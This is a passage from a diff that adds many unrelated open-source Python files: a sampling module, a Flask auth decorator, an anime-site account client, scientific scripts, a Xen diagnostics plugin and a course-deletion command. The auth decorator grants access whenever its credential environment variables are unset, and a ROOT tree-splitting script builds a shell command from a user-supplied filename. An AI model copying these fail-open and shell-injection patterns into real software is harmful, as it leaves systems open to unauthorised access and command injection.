+    eng.add_state_observers(ohist)
+
+    eng.dosteps(N)
+    return ohist
+
+def scan_ll(state, element, size=0.1, N=1000):
+    start = state.state[element]
+
+    ll = []
+    vals = np.linspace(start-size, start+size, N)
+    for val in vals:
+        state.update(element, val)
+        l = state.loglikelihood
+        ll.append(l)
+
+    state.update(element, start)
+    return vals, np.array(ll)
+
+def scan_noise(image, state, element, size=0.01, N=1000):
+    start = state.state[element]
+
+    xs, ys = [], []
+    for i in range(N):
+        log.info('{}'.format(i))
+        test = image + np.random.normal(0, state.sigma, image.shape)
+        x,y = sample_ll(test, state, element, size=size, N=300)
+        state.update(element, start)
+        xs.append(x)
+        ys.append(y)
+
+    return xs, ys
+
+def sample_particles(state, stepout=1, start=0, quiet=False):
+    if not quiet:
+        log.info('{:-^39}'.format(' POS / RAD '))
+    for particle in state.active_particles():
+        if not quiet:
+            log.info('{}'.format(particle))
+        sys.stdout.flush()
+
+        blocks = state.blocks_particle(particle)
+        sample_state(state, blocks, stepout=stepout)
+
+    return state.state.copy()
+
+def sample_particle_pos(state, stepout=1, start=0, quiet=False):
+    if not quiet:
+        log.info('{:-^39}'.format(' POS '))
+
+    for particle in state.active_particles():
+        if not quiet:
+            log.info('{}'.format(particle))
+        sys.stdout.flush()
+
+        blocks = state.blocks_particle(particle)[:-1]
+        sample_state(state, blocks, stepout=stepout)
+
+    return state.state.copy()
+
+def sample_particle_rad(state, stepout=1, start=0, quiet=False):
+    if not quiet:
+        log.info('{:-^39}'.format(' RAD '))
+
+    for particle in state.active_particles():
+        if not quiet:
+            log.info('{}'.format(particle))
+
+        sys.stdout.flush()
+
+        blocks = [state.blocks_particle(particle)[-1]]
+        sample_state(state, blocks, stepout=stepout)
+
+    return state.state.copy()
+
+def sample_block(state, blockname, explode=True, stepout=0.1, quiet=False):
+    if not quiet:
+        log.info('{:-^39}'.format(' '+blockname.upper()+' '))
+
+    blocks = [state.create_block(blockname)]
+
+    if explode:
+        blocks = state.explode(blocks[0])
+
+    return sample_state(state, blocks, stepout)
+
+def sample_block_list(state, blocklist, stepout=0.1, quiet=False):
+    for bl in blocklist:
+        sample_block(state, bl, stepout=stepout, quiet=quiet)
+    return state.state.copy(), state.loglikelihood
+
+def do_samples(s, sweeps, burn, stepout=0.1, save_period=-1,
+        prefix='peri', save_name=None, sigma=True, pos=True, quiet=False, postfix=None):
+    h = []
+    ll = []
+    if not save_name:
+        with tempfile.NamedTemporaryFile(suffix='.peri-state.pkl', prefix=prefix) as f:
+            save_name = f.name
+
+    for i in range(sweeps):
+        if save_period > 0 and i % save_period == 0:
+            with open(save_name, 'w') as tfile:
+                pickle.dump([s,h,ll], tfile, protocol=2)
+
+        if postfix is not None:
+            states.save(s, desc=postfix, extra=[np.array(h),np.array(ll)])
+
+        if not quiet:
+            log.info('{:=^79}'.format(' Sweep '+str(i)+' '))
+
+        #sample_particles(s, stepout=stepout)
+        if pos:
+            sample_particle_pos(s, stepout=stepout, quiet=quiet)
+        sample_particle_rad(s, stepout=stepout, quiet=quiet)
+        sample_block(s, 'psf', stepout=stepout, quiet=quiet)
+        sample_block(s, 'ilm', stepout=stepout, quiet=quiet)
+        sample_block(s, 'off', stepout=stepout, quiet=quiet)
+        sample_block(s, 'zscale', stepout=stepout, quiet=quiet)
+
+        if s.bkg:
+            sample_block(s, 'bkg', stepout=stepout, quiet=quiet)
+
+        if s.slab:
+            sample_block(s, 'slab', stepout=stepout, quiet=quiet)
+
+        if sigma and s.nlogs:
+            sample_block(s, 'sigma', stepout=stepout/10, quiet=quiet)
+
+        if i >= burn:
+            h.append(s.state.copy())
+            ll.append(s.loglikelihood)
+
+    if save_period > 0 and save_name:
+        os.remove(save_name)
+
+    h = np.array(h)
+    ll = np.array(ll)
+    return h, ll
+
+def do_blocks(s, blocks, sweeps, burn, stepout=0.1, postfix=None, quiet=False):
+    h, ll = [], []
+
+    for i in range(sweeps):
+        if postfix is not None:
+            states.save(s, desc=postfix, extra=[np.array(h),np.array(ll)])
+
+        if not quiet:
+            log.info('{:=^79}'.format(' Sweep '+str(i)+' '))
+
+        sample_state(s, blocks, stepout=stepout, N=1, doprint=~quiet)
+
+        if i >= burn:
+            h.append(s.state.copy())
+            ll.append(s.loglikelihood)
+
+    h = np.array(h)
+    ll = np.array(ll)
+    return h, ll
+
+
diff --git a/pool/shard000/Python/0007913_auth.py b/pool/shard000/Python/0007913_auth.py
new file mode 100644
index 0000000000000000000000000000000000000000..e9f13d51ed1a5631d433b41d1d78e8ab8c364402
--- /dev/null
+++ b/pool/shard000/Python/0007913_auth.py
@@ -0,0 +1,26 @@
+# Copyright 2016 rpaas authors. All rights reserved.
+# Use of this source code is governed by a BSD-style
+# license that can be found in the LICENSE file.
+
+import functools
+import os
+
+import flask
+
+
+def check_auth(auth):
+    username = os.environ.get("API_USERNAME")
+    password = os.environ.get("API_PASSWORD")
+    if not username or not password:
+        return True
+    return auth and auth.username == username and auth.password == password
+
+
+def required(fn):
+    @functools.wraps(fn)
+    def decorated(*args, **kwargs):
+        auth = flask.request.authorization
+        if not check_auth(auth):
+            return "you do not have access to this resource", 401
+        return fn(*args, **kwargs)
+    return decorated
diff --git a/pool/shard000/Python/0007918_bisearch.py b/pool/shard000/Python/0007918_bisearch.py
new file mode 100644
index 0000000000000000000000000000000000000000..11d4579087239922d702c6084959a02b41c843dd
--- /dev/null
+++ b/pool/shard000/Python/0007918_bisearch.py
@@ -0,0 +1,64 @@
+##
+# Copyright 2009-2017 Ghent University
+#
+# This file is part of EasyBuild,
+# originally created by the HPC team of Ghent University (http://ugent.be/hpc/en),
+# with support of Ghent University (http://ugent.be/hpc),
+# the Flemish Supercomputer Centre (VSC) (https://www.vscentrum.be),
+# Flemish Research Foundation (FWO) (http://www.fwo.be/en)
+# and the Department of Economy, Science and Innovation (EWI) (http://www.ewi-vlaanderen.be/en).
+#
+# http://github.com/hpcugent/easybuild
+#
+# EasyBuild is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation v2.
+#
+# EasyBuild is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with EasyBuild.  If not, see <http://www.gnu.org/licenses/>.
+##
+"""
+EasyBuild support for BiSearch, implemented as an easyblock
+
+@author: Stijn De Weirdt (Ghent University)
+@author: Dries Verdegem (Ghent University)
+@author: Kenneth Hoste (Ghent University)
+@author: Pieter De Baets (Ghent University)
+@author: Jens Timmerman (Ghent University)
+"""
+import os
+
+from easybuild.easyblocks.generic.packedbinary import PackedBinary
+from easybuild.tools.run import run_cmd_qa
+
+
+class EB_BiSearch(PackedBinary):
+    """
+    Support for building BiSearch.
+    Basically just run the interactive installation script install.sh.
+    """
+
+    def install_step(self):
+        cmd = "./install.sh"
+
+        qanda = {
+            'Please enter the BiSearch root directory: ': self.installdir,
+            'Please enter the path of c++ compiler [/usr/bin/g++]: ': os.getenv('CXX')
+        }
+
+        no_qa = [r'Compiling components\s*\.*']
+
+        run_cmd_qa(cmd, qanda, no_qa=no_qa, log_all=True, simple=True)
+
+    def sanity_check_step(self):
+        """Custom sanity check for BiSearch."""
+        custom_paths = {
+            'files':['bin/%s' % x for x in ['fpcr', 'indexing_cdna', 'indexing_genome', 'makecomp']],
+            'dirs':[],
+        }
+        super(EB_BiSearch, self).sanity_check_step(custom_paths=custom_paths)
diff --git a/pool/shard000/Python/0007923_account.py b/pool/shard000/Python/0007923_account.py
new file mode 100644
index 0000000000000000000000000000000000000000..72fbcaa1f9767c86dbb478aa56d207cee8fea881
--- /dev/null
+++ b/pool/shard000/Python/0007923_account.py
@@ -0,0 +1,258 @@
+__authors__ = ""
+__copyright__ = "(c) 2014, pymal"
+__license__ = "BSD License"
+__contact__ = "Name Of Current Guardian of this file <email@address>"
+
+from urllib import request
+
+import requests
+import singleton_factory
+
+from pymal import global_functions
+from pymal.decorators import load
+from pymal.consts import HOST_NAME
+
+__all__ = ['Account']
+
+
+class Account(object, metaclass=singleton_factory.SingletonFactory):
+    """
+    Object that keeps all the account data in MAL.
+    """
+
+    __AUTH_CHECKER_URL =\
+        request.urljoin(HOST_NAME, r'api/account/verify_credentials.xml')
+
+    __MY_LOGIN_URL = request.urljoin(HOST_NAME, 'login.php')
+    __DATA_FORM = 'user_name={0:s}&password={1:s}&cookie=1&sublogin=Login&submit=1'
+
+    def __init__(self, username: str, password: str or None=None):
+        """
+        :param username: The account username.
+        :type username: str
+        :param password: Required for quick connection, instead of calling later change_password.
+        :type password: str or None
+        """
+        from pymal.account_objects import account_animes, account_mangas
+
+        self.__username = username
+        self.__password = password
+        self.connect = global_functions.connect
+        self.__user_id = None
+        self.__auth_object = None
+
+        self._main_profile_url = request.urljoin(HOST_NAME, 'profile/{0:s}'.format(self.username))
+
+        self.__animes = account_animes.AccountAnimes(self)
+        self.__mangas = account_mangas.AccountMangas(self)
+        self.__friends = None
+        self.__image_url = ""
+
+        self.__session = global_functions.generate_session()
+
+        self._is_loaded = False
+
+        if password is not None:
+            self.change_password(password)
+
+    @property
+    def username(self) -> str:
+        """
+
+        :returns: the user name.
+        :rtype: str
+        """
+        return self.__username
+
+    @property
+    def user_id(self) -> int:
+        """
+        :returns: the user id. If unknown loading it.
+        :rtype: int
+        """
+        if self.__user_id is None:
+            import bs4
+
+            ret = self.connect(self._main_profile_url)
+            html = bs4.BeautifulSoup(ret)
+            bla = html.find(name='input', attrs={'name': 'profileMemId'})
+            self.__user_id = int(bla['value'])
+        return self.__user_id
+
+    @property
+    def mangas(self):
+        """
+        :returns: list of account's mangas.
+        :rtype: :class:`account_objects.account_mangas.AccountMangas`
+        """
+        return self.__mangas
+
+    @property
+    def animes(self):
+        """
+        :returns: list of account's animes.
+        :rtype: :class:`account_objects.account_animes.AccountAnimes`
+        """
+        return self.__animes
+
+    @property
+    def friends(self) -> set:
+        """
+        :returns: list of account's friends.
+        :rtype: :class:`account_objects.account_friends.AccountFriends`
+        """
+        from pymal.account_objects import account_friends
+
+        if self.__friends is None:
+            self.__friends = account_friends.AccountFriends(self)
+        return self.__friends
+
+    def search(self, search_line: str, is_anime: bool=True) -> map:
+        """
+        Searching like regular search but switching all the object in "my" lists to the "my" objects.
+
+        :param search_line: the search line.
+        :type search_line: str
+        :param is_anime: True is searching for anime, False for manga.
+        :type is_anime: bool
+        :returns: searched objects
+        :rtype: map
+        """
+        from pymal import searches
+
+        if is_anime:
+            results = searches.search_animes(search_line)
+            account_object_list = self.animes
+        else:
+            results = searches.search_mangas(search_line)
+            account_object_list = self.mangas
+
+        def get_object(result):
+            if result not in account_object_list:
+                return result
+            # if account_object_list was set:
+            #     return account_object_list.intersection([result]).pop()
+            return list(filter(
+                lambda x: x == result,
+                account_object_list
+            ))[0]
+        return map(get_object, results)
+
+    def change_password(self, password: str) -> bool:
+        """
+        Checking if the new password is valid
+
+        :param password: password
+        :type password: str
+        :returns: True if password is right.
+        :rtype: bool
+        :exception exceptions.FailedToParseError: when failed
+        """
+        from xml.etree import ElementTree
+        from requests.auth import HTTPBasicAuth
+        from pymal import exceptions
+
+        self.__auth_object = HTTPBasicAuth(self.username, password)
+        data = self.auth_connect(self.__AUTH_CHECKER_URL)
+        if data == 'Invalid credentials':
+            self.__auth_object = None
+            self.__password = None
+            return False
+        xml_user = ElementTree.fromstring(data)
+
+        if 'user' != xml_user.tag:
+            raise exceptions.FailedToParseError('user == {0:s}'.format(xml_user.tag))
+        l = list(xml_user)
+        xml_username = l[1]
+        if 'username' != xml_username.tag:
+            raise exceptions.FailedToParseError('username == {0:s}'.format(xml_username.tag))
+        if self.username != xml_username.text.strip():
+            raise exceptions.FailedToParseError('username = {0:s}'.format(xml_username.text.strip()))
+
+        xml_id = l[0]
+        if 'id' != xml_id.tag:
+            raise exceptions.FailedToParseError('id == {0:s}'.format(xml_id.tag))
+        if self.user_id != int(xml_id.text):
+            raise exceptions.FailedToParseError()
+
+        self.__password = password
+
+        data_form = self.__DATA_FORM.format(self.username, password).encode('utf-8')
+        headers = {
+            'content-type': 'application/x-www-form-urlencoded',
+            'name': 'loginForm',
+        }
+
+        self.auth_connect(self.__MY_LOGIN_URL, data=data_form, headers=headers)
+
+        return True
+
+    def auth_connect(self, url: str, data: str or None=None,
+                     headers: dict or None=None) -> str:
+        """
+        :param url: The url to get.
+        :type url: str
+        :param data: The data to pass (will change the request to "POST")
+        :type data: str or None
+        :param headers: Headers for the request.
+        :type headers: dict or None
+        :returns: data after using the account authenticate to get the data.
+        :rtype: str
+        """
+        from pymal import exceptions
+
+        if not self.is_auth:
+            raise exceptions.UnauthenticatedAccountError(self.username)
+        return global_functions._connect(url, data=data, headers=headers,
+                                         auth=self.__auth_object, session=self.__session).text.strip()
+
+    @property
+    @load
+    def image_url(self):
+        """
+        :return: path for the image of the avatar of the account.
+        :rtype: str
+        """
+        return self.__image_url
+
+    def get_image(self):
+        """
+        :return: image of the account's avatar
+        :rtype: :class:`PIL.Image.Image`
+        """
+        import io
+
+        from PIL import Image
+
+        sock = requests.get(self.image_url)
+        data = io.BytesIO(sock.content)
+        return Image.open(data)
+
+    def reload(self):
+        """
+        reloading account image (all the other things are already lazy load!
+        """
+        div = global_functions.get_content_wrapper_div(self._main_profile_url, self.connect)
+        profile_leftcell = div.table.tbody.tr.find(name="td", attrs={"class": "profile_leftcell"}, recursive=False)
+        self.__image_url = profile_leftcell.div.img['src']
+
+    @property
+    def is_auth(self) -> bool:
+        """
+        :returns: True if the password is right (and able to authenticate).
+        :rtype: bool
+        """
+        return self.__auth_object is not None
+
+    def __repr__(self):
+        return "<Account username: {0:s}>".format(self.username)
+
+    def __hash__(self):
+        import hashlib
+
+        hash_md5 = hashlib.md5()
+        hash_md5.update(self.username.encode())
+        return int(hash_md5.hexdigest(), 16)
+
+    def __format__(self, format_spec):
+        return str(self).__format__(format_spec)
diff --git a/pool/shard000/Python/0007927_phantom_00003.py b/pool/shard000/Python/0007927_phantom_00003.py
new file mode 100644
index 0000000000000000000000000000000000000000..5c0af9b525e334ac857b0201b4bf5005c64a9e78
--- /dev/null
+++ b/pool/shard000/Python/0007927_phantom_00003.py
@@ -0,0 +1,123 @@
+# -*- coding: utf-8 -*-
+"""
+Created on Sat Dec  3 15:35:30 2016
+
+@author: decarlo
+"""
+from __future__ import (absolute_import, division, print_function,
+                        unicode_literals)
+                        
+from xdesign import *
+
+import os
+import time
+import pytz
+import datetime
+import numpy as np
+import matplotlib.pyplot as plt
+import matplotlib.gridspec as gridspec
+import dxfile.dxtomo as dx
+import dxchange
+
+def iso_time():
+    # set the experiment date 
+    now = datetime.datetime.today()
+
+    # set iso format time
+    central = pytz.timezone('US/Central')
+    local_time = central.localize(now)
+    local_time_iso = local_time.isoformat()
+    
+    return local_time_iso
+
+
+if __name__ == '__main__':
+
+    # Set tomobank id
+    tomobank_id = 'phantom_00003'
+
+    # Set path to the micro-CT data to convert.
+    fname = 'tomobank/phantoms/' + tomobank_id + '/' + tomobank_id + '.h5'    
+
+    # Set meta-data
+    experimenter_affiliation="Argonne National Laboratory" 
+    experimenter_email="tomobank@anl.gov"
+    instrument_name="XDesign VERSION:0.2.0.dev0+1d67599b8f104ebded86bac98100dbf15e251a66 FUNCTION: SlantedSquares(count=16, angle=5/360*2*np.pi, gap=0.01), prop='mass_atten'"  
+    sample_name = tomobank_id
+
+    # Phantom generation start time
+    start_date = iso_time()
+
+    phantom = HyperbolicConcentric()
+
+    ccd_x = 256 
+    ccd_y = 256
+    n_proj = 512
+   
+    step = 1. / ccd_x
+    prb = Probe(Point([step / 2., -10]), Point([step / 2., 10]), step)
+
+
+    n_dark = 1
+    n_white = 1
+    dark = np.zeros((n_dark, ccd_y, ccd_x)) # Array filled with zeros
+    flat = np.ones((n_white, ccd_y, ccd_x)) # Array filled with ones
+
+    sino, probe = sinogram(n_proj, ccd_x, phantom)
+    proj = np.expand_dims(sino, 1)
+
+    # Theta
+    theta_step = np.pi / n_proj
+    theta_step_deg = theta_step * 180./np.pi
+    theta = np.arange(0, 180., 180. / n_proj)
+
+    # Set data collection angles as equally spaced between 0-180 degrees.
+    start_angle = 0
+    start_angle_unit = 'deg'
+    end_angle = 180
+    end_angle_unit = 'deg'
+    angular_step_unit = 'deg'
+
+    # Phantom generation end time 
+    end_date = iso_time()
+                
+    # Write ground_truth
+    ground_truth = discrete_phantom(phantom, ccd_x, prop='mass_atten')
+    fname_gt='tomobank/phantoms/' + tomobank_id + '/' + tomobank_id + '_ground_truth'
+    dxchange.write_tiff(ground_truth, fname=fname_gt, dtype='float32')
+
+    # Save into a data-exchange file.
+    if os.path.isfile(fname):
+        print ("Data Exchange file already exists: ", fname)
+    else:
+        # Create new folder.
+        dirPath = os.path.dirname(fname)
+        if not os.path.exists(dirPath):
+            os.makedirs(dirPath)
+
+        # Open DataExchange file
+        f = dx.File(fname, mode='w')
+         
+        # Write the Data Exchange HDF5 file.
+        f.add_entry(dx.Entry.experimenter(affiliation={'value': experimenter_affiliation}))
+        f.add_entry(dx.Entry.experimenter(email={'value': experimenter_email}))
+        f.add_entry(dx.Entry.instrument(name={'value': instrument_name}))
+        f.add_entry(dx.Entry.sample(name={'value': sample_name}))
+
+        f.add_entry(dx.Entry.data(data={'value': proj, 'units':'counts'}))
+        f.add_entry(dx.Entry.data(data_white={'value': flat, 'units':'counts'}))
+        f.add_entry(dx.Entry.data(data_dark={'value': dark, 'units':'counts'}))
+        f.add_entry(dx.Entry.data(theta={'value': theta, 'units':'degrees'}))
+        f.add_entry(dx.Entry.data(ground_truth={'value': ground_truth, 'units':'counts'}))
+
+        f.add_entry(dx.Entry.acquisition(start_date={'value': start_date}))
+        f.add_entry(dx.Entry.acquisition(end_date={'value': end_date}))
+
+        f.add_entry(dx.Entry.acquisition_setup(rotation_start_angle={'value': start_angle, 'unit': start_angle_unit}))
+        f.add_entry(dx.Entry.acquisition_setup(rotation_end_angle={'value': end_angle, 'unit': end_angle_unit}))
+        f.add_entry(dx.Entry.acquisition_setup(angular_step={'value': theta_step_deg, 'unit': angular_step_unit}))
+
+        f.close()
+        
+       
+        
diff --git a/pool/shard000/Python/0007928_statsd.py b/pool/shard000/Python/0007928_statsd.py
new file mode 100644
index 0000000000000000000000000000000000000000..4b6a3669464acc06108d04541a9e9e3e9b111844
--- /dev/null
+++ b/pool/shard000/Python/0007928_statsd.py
@@ -0,0 +1,43 @@
+# Copyright 2017 FUJITSU LIMITED
+#
+# Licensed under the Apache License, Version 2.0 (the "License"); you may
+# not use this file except in compliance with the License. You may obtain
+# a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+# License for the specific language governing permissions and limitations
+# under the License.
+
+from oslo_config import cfg
+
+_DEFAULT_HOST = '127.0.0.1'
+_DEFAULT_PORT = 8125
+
+statsd_group = cfg.OptGroup('statsd',
+                            title='statsd Options',
+                            help='Options under this group allow '
+                            'to configure valid connection '
+                            'to statsd server launched by monasca-agent.')
+
+statsd_opts = [
+    cfg.BoolOpt('enable', default=True,
+                help='Enable or disable self monitoring.'),
+    cfg.HostAddressOpt('host', default=_DEFAULT_HOST,
+                       help='IP address of statsd server.'),
+    cfg.PortOpt('port', default=_DEFAULT_PORT, help='Port of statsd server.'),
+]
+
+
+def register_opts(conf):
+    conf.register_group(statsd_group)
+    conf.register_opts(statsd_opts, group=statsd_group)
+
+
+def list_opts():
+    return {
+        statsd_group: statsd_opts
+    }
diff --git a/pool/shard000/Python/0007931_rpe_map.py b/pool/shard000/Python/0007931_rpe_map.py
new file mode 100644
index 0000000000000000000000000000000000000000..ab77f0b61c411a5c1f3aced14eb5f3138ea32704
--- /dev/null
+++ b/pool/shard000/Python/0007931_rpe_map.py
@@ -0,0 +1,44 @@
+import tile
+import thing
+
+from locals import *
+from errors import *
+from file_ops import *
+
+class RpeMap(object):
+    def __init__(self, map_path):
+        parsed_map = parse_to_lists(map_path)
+        self._tiles = []
+        self._things = []
+        self._start_position = None
+        for y, row in zip(range(len(parsed_map)), parsed_map):
+            _tile_row = []
+            for x, column in enumerate(row):
+                _tile_to_append = tile.create_based_on_char(column)
+                _tile_to_append.x = x
+                _tile_to_append.y = y
+                if column is 's':
+                    if self._start_position is None:
+                        self._start_position = (x, y)
+                    else:
+                        raise MultiplePlayerStartError()
+                elif column is 'b':
+                    _tile_to_append.thing = thing.Thing()
+                    self._things.append(_tile_to_append)
+                _tile_row.append(_tile_to_append)
+            self._tiles.append(_tile_row)
+        if self._start_position is None:
+            raise NoPlayerStartError()
+
+    @property
+    def tiles(self):
+        return self._tiles
+
+    @property
+    def things(self):
+        return self._things
+
+    @property
+    def start_position(self):
+        return self._start_position
+
diff --git a/pool/shard000/Python/0007933_split_tree3.py b/pool/shard000/Python/0007933_split_tree3.py
new file mode 100644
index 0000000000000000000000000000000000000000..994bc670b066f6d933132d57255c042b5ef922b5
--- /dev/null
+++ b/pool/shard000/Python/0007933_split_tree3.py
@@ -0,0 +1,59 @@
+#!/usr/bin/env python
+# Split TTree into a separate file.
+# This file is part of https://github.com/hh-italian-group/AnalysisTools.
+
+import sys
+import os
+import subprocess
+import re
+import argparse
+import ROOT
+
+parser = argparse.ArgumentParser(description='Split ROOT TTree.',
+                                 formatter_class = lambda prog: argparse.HelpFormatter(prog,width=90))
+parser.add_argument('--original-file', required=True, dest='originalFile', type=str, metavar='FILE',
+                    help="original ROOT file")
+parser.add_argument('--tree-name', required=True, dest='treeName', type=str, metavar='NAME', help="Tree name.")
+parser.add_argument('--n-entries', required=False, dest='nEntries', type=int, metavar='N', default=-1,
+                    help="number of entries to keep in the tree in the original file")
+args = parser.parse_args()
+
+namePrefix = re.sub('\.[^\.]*$', '', args.originalFile)
+nameFormat = '{}_part{}.root'
+original_FileName = '{}_original.root'.format(namePrefix)
+part1_FileName = nameFormat.format(namePrefix, 1)
+part2_FileName = nameFormat.format(namePrefix, 2)
+part3_FileName = nameFormat.format(namePrefix, 3)
+
+os.rename(args.originalFile, original_FileName)
+
+originalFile = ROOT.TFile(original_FileName, 'UPDATE')
+part1_File = ROOT.TFile(part1_FileName, 'RECREATE', '', 1 * 100 + 9)
+part2_File = ROOT.TFile(part2_FileName, 'RECREATE', '', 1 * 100 + 9)
+part3_File = ROOT.TFile(part3_FileName, 'RECREATE', '', 1 * 100 + 9)
+
+originalTree = originalFile.Get(args.treeName)
+nEntries = args.nEntries
+if nEntries == -1:
+    nEntries = originalTree.GetEntries() / 3
+
+part1_File.cd()
+part1_Tree = originalTree.CopyTree('', '', nEntries, 0)
+part1_Tree.Write()
+part1_File.Close()
+
+part2_File.cd()
+part2_Tree = originalTree.CopyTree('', '', 2*nEntries, nEntries)
+part2_Tree.Write()
+part2_File.Close()
+
+part3_File.cd()
+part3_Tree = originalTree.CopyTree('', '', originalTree.GetEntries(), 2*nEntries)
+part3_Tree.Write()
+part3_File.Close()
+
+originalFile.cd()
+originalFile.Delete(args.treeName + ';*')
+originalFile.Close()
+
+subprocess.call([ 'hadd -f9 {} {} {}'.format(args.originalFile, original_FileName, part1_FileName) ], shell=True)
diff --git a/pool/shard000/Python/0007934_xen.py b/pool/shard000/Python/0007934_xen.py
new file mode 100644
index 0000000000000000000000000000000000000000..7b2f0d9c17ade40709e6869ff07c74b1606cf13e
--- /dev/null
+++ b/pool/shard000/Python/0007934_xen.py
@@ -0,0 +1,104 @@
+### This program is free software; you can redistribute it and/or modify
+## it under the terms of the GNU General Public License as published by
+## the Free Software Foundation; either version 2 of the License, or
+## (at your option) any later version.
+
+## This program is distributed in the hope that it will be useful,
+## but WITHOUT ANY WARRANTY; without even the implied warranty of
+## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+## GNU General Public License for more details.
+
+## You should have received a copy of the GNU General Public License
+## along with this program; if not, write to the Free Software
+## Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+
+from sos.plugins import Plugin, RedHatPlugin
+import os
+import re
+from stat import *
+
+class Xen(Plugin, RedHatPlugin):
+    """Xen related information
+    """
+
+    plugin_name = 'xen'
+
+    def determine_xen_host(self):
+        if os.access("/proc/acpi/dsdt", os.R_OK):
+            (status, output, rtime) = self.call_ext_prog("grep -qi xen /proc/acpi/dsdt")
+            if status == 0:
+                return "hvm"
+
+        if os.access("/proc/xen/capabilities", os.R_OK):
+            (status, output, rtime) = self.call_ext_prog("grep -q control_d /proc/xen/capabilities")
+            if status == 0:
+                return "dom0"
+            else:
+                return "domU"
+        return "baremetal"
+
+    def check_enabled(self):
+        return (self.determine_xen_host() == "baremetal")
+
+    def is_running_xenstored(self):
+        xs_pid = os.popen("pidof xenstored").read()
+        xs_pidnum = re.split('\n$',xs_pid)[0]
+        return xs_pidnum.isdigit()
+
+    def dom_collect_proc(self):
+        self.add_copy_specs([
+            "/proc/xen/balloon",
+            "/proc/xen/capabilities",
+            "/proc/xen/xsd_kva",
+            "/proc/xen/xsd_port"])
+        # determine if CPU has PAE support
+        self.add_cmd_output("grep pae /proc/cpuinfo")
+        # determine if CPU has Intel-VT or AMD-V support
+        self.add_cmd_output("egrep -e 'vmx|svm' /proc/cpuinfo")
+
+    def setup(self):
+        host_type = self.determine_xen_host()
+        if host_type == "domU":
+            # we should collect /proc/xen and /sys/hypervisor
+            self.dom_collect_proc()
+            # determine if hardware virtualization support is enabled
+            # in BIOS: /sys/hypervisor/properties/capabilities
+            self.add_copy_spec("/sys/hypervisor")
+        elif host_type == "hvm":
+            # what do we collect here???
+            pass
+        elif host_type == "dom0":
+            # default of dom0, collect lots of system information
+            self.add_copy_specs([
+                "/var/log/xen",
+                "/etc/xen",
+                "/sys/hypervisor/version",
+                "/sys/hypervisor/compilation",
+                "/sys/hypervisor/properties",
+                "/sys/hypervisor/type"])
+            self.add_cmd_outputs([
+                "xm dmesg",
+                "xm info",
+                "xm list",
+                "xm list --long",
+                "brctl show"
+            ])
+            self.dom_collect_proc()
+            if self.is_running_xenstored():
+                self.add_copy_spec("/sys/hypervisor/uuid")
+                self.add_cmd_output("xenstore-ls")
+            else:
+                # we need tdb instead of xenstore-ls if cannot get it.
+                self.add_copy_spec("/var/lib/xenstored/tdb")
+
+            # FIXME: we *might* want to collect things in /sys/bus/xen*,
+            # /sys/class/xen*, /sys/devices/xen*, /sys/modules/blk*,
+            # /sys/modules/net*, but I've never heard of them actually being
+            # useful, so I'll leave it out for now
+        else:
+            # for bare-metal, we don't have to do anything special
+            return #USEFUL
+
+        self.add_custom_text("Xen hostType: "+host_type)
+
+# vim: et ts=4 sw=4
diff --git a/pool/shard000/Python/0007938_delete_course.py b/pool/shard000/Python/0007938_delete_course.py
new file mode 100644
index 0000000000000000000000000000000000000000..16a6c8833033644150b7c334508cdeafe11bd2c5
--- /dev/null
+++ b/pool/shard000/Python/0007938_delete_course.py
@@ -0,0 +1,70 @@
+"""
+    Command for deleting courses
+
+    Arguments:
+        arg1 (str): Course key of the course to delete
+        arg2 (str): 'commit'
+
+    Returns:
+        none
+"""
+from django.core.management.base import BaseCommand, CommandError
+from .prompt import query_yes_no
+from contentstore.utils import delete_course_and_groups
+from opaque_keys.edx.keys import CourseKey
+from opaque_keys import InvalidKeyError
+from opaque_keys.edx.locations import SlashSeparatedCourseKey
+from xmodule.modulestore import ModuleStoreEnum
+from xmodule.modulestore.django import modulestore
+
+
+def print_out_all_courses():
+    """
+    Print out all the courses available in the course_key format so that
+    the user can correct any course_key mistakes
+    """
+    courses = modulestore().get_courses_keys()
+    print 'Available courses:'
+    for course in courses:
+        print str(course)
+    print ''
+
+
+class Command(BaseCommand):
+    """
+    Delete a MongoDB backed course
+    """
+    help = '''Delete a MongoDB backed course'''
+
+    def handle(self, *args, **options):
+        if len(args) == 0:
+            raise CommandError("Arguments missing: 'org/number/run commit'")
+
+        if len(args) == 1:
+            if args[0] == 'commit':
+                raise CommandError("Delete_course requires a course_key <org/number/run> argument.")
+            else:
+                raise CommandError("Delete_course requires a commit argument at the end")
+        elif len(args) == 2:
+            try:
+                course_key = CourseKey.from_string(args[0])
+            except InvalidKeyError:
+                try:
+                    course_key = SlashSeparatedCourseKey.from_deprecated_string(args[0])
+                except InvalidKeyError:
+                    raise CommandError("Invalid course_key: '%s'. Proper syntax: 'org/number/run commit' " % args[0])
+            if args[1] != 'commit':
+                raise CommandError("Delete_course requires a commit argument at the end")
+        elif len(args) > 2:
+            raise CommandError("Too many arguments! Expected <course_key> <commit>")
+
+        print_out_all_courses()
+
+        if not modulestore().get_course(course_key):
+            raise CommandError("Course with '%s' key not found." % args[0])
+
+        print 'Actually going to delete the %s course from DB....' % args[0]
+        if query_yes_no("Deleting course {0}. Confirm?".format(course_key), default="no"):
+            if query_yes_no("Are you sure. This action cannot be undone!", default="no"):
+                delete_course_and_groups(course_key, ModuleStoreEnum.UserID.mgmt_command)
+                print_out_all_courses()
diff --git a/pool/shard000/Python/0007939_bench_arrayexprs.py b/pool/shard000/Python/0007939_bench_arrayexprs.py
new file mode 100644
index 0000000000000000000000000000000000000000..d8b522a0d81c7e3882b137fdc2d71af4f7a97f29
--- /dev/null
+++ b/pool/shard000/Python/0007939_bench_arrayexprs.py
@@ -0,0 +1,55 @@
+"""
+Benchmarks for array expressions.
+"""
+
+import numpy as np
+
+from numba import jit
+
+
+@jit(nopython=True)
+def sum(a, b):
+    return a + b
+
+@jit(nopython=True)
+def sq_diff(a, b):
+    return (a - b) * (a + b)
+
+@jit(nopython=True)
+def rel_diff(a, b):
